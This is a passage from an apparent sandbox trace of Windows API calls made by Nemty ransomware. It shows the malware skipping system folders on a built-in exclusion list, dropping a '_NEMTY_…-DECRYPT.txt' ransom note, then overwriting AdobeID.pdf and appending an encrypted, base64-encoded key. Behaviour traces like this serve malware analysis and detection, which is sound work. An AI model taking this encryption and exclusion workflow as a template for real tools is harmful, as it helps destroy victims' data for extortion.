returned 1 [0172.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0172.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.058] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a2b3d70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a2b3d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a2d9ed0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.058] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.058] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RUS", cAlternateFileName="")) returned 1 [0172.058] lstrcmpiW (lpString1="RUS", lpString2=".") returned 1 [0172.058] lstrcmpiW (lpString1="RUS", lpString2="..") returned 1 [0172.058] lstrcmpiW (lpString1="RUS", lpString2="...") returned 1 [0172.058] lstrcmpiW (lpString1="RUS", lpString2="windows") returned -1 [0172.058] lstrcmpiW (lpString1="RUS", lpString2="$RECYCLE.BIN") returned 1 [0172.058] lstrcmpiW (lpString1="RUS", lpString2="rsa") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="NTDETECT.COM") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="ntldr") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="MSDOS.SYS") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="IO.SYS") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="boot.ini") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="boot.ini") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="AUTOEXEC.BAT") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="ntuser.dat") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="desktop.ini") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="CONFIG.SYS") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="RECYCLER") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="BOOTSECT.BAK") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="bootmgr") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="programdata") returned 1 [0172.059] lstrcmpiW (lpString1="RUS", lpString2="appdata") returned 1 [0172.059] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.059] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUS", lpUsedDefaultChar=0x0) returned 3 [0172.059] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.059] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUS", lpUsedDefaultChar=0x0) returned 3 [0172.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0172.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0172.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0172.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.060] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.060] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.061] CloseHandle (hObject=0x254) returned 1 [0172.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.061] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.062] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.062] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.063] CloseHandle (hObject=0x254) returned 1 [0172.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.063] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a326190, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a326190, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.063] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.063] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a326190, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a326190, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.063] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.063] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.063] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e071, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0172.063] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0172.063] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0172.063] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0172.063] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0172.063] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.063] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0172.063] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.063] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0172.063] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.063] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0172.064] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.064] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.064] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0172.064] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0172.064] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0172.064] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0172.064] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0172.064] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0172.064] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0172.064] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0172.064] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0172.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0172.064] Sleep (dwMilliseconds=0x5) [0172.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a34c2f0, dwHighDateTime=0x1d561e8)) [0172.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a34c2f0, dwHighDateTime=0x1d561e8)) [0172.066] GetLastError () returned 0xb7 [0172.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.066] GetLastError () returned 0xb7 [0172.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.066] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.066] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.066] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0172.066] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="3rn4k97hpwS1ffxpdUnokk/P5ZMOEpOwI4XBWbkjUHfP3UjMh2HaQWOkPAuLA2TW\r\ny8cZ03faqQD+lS+ikXSuBZxSVsisYvkGDgZ1MfE0RnUes9BckRN1L8r1am6B0FeO\r\nnxACKvfUrCRUpQXiDJiObdgOGjkxImVSKpNqcN96XdYHjmdyLHNASXqAvuUnEsXe\r\ntEMwsC2o6MDA6KsJe9Yt65EH9ET0PiNsALEjaqNGPLJTcTkoHPkImnM3UXO936li\r\npQSAPqM2cTP9TJXcXppfyT9m+CHfPkYMechg4fQ83RVXtZLzPYbxiGUOTslOGMMg\r\nkAvEAPSzYyTizGTVBnQxWQ==\r\n", pcchString=0x653e5dc) returned 1 [0172.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0172.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.067] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=122993) returned 1 [0172.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0172.067] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.067] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0172.075] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.075] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0172.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.076] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=122993, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e071 [0172.076] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.076] CloseHandle (hObject=0x3b0) returned 1 [0172.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 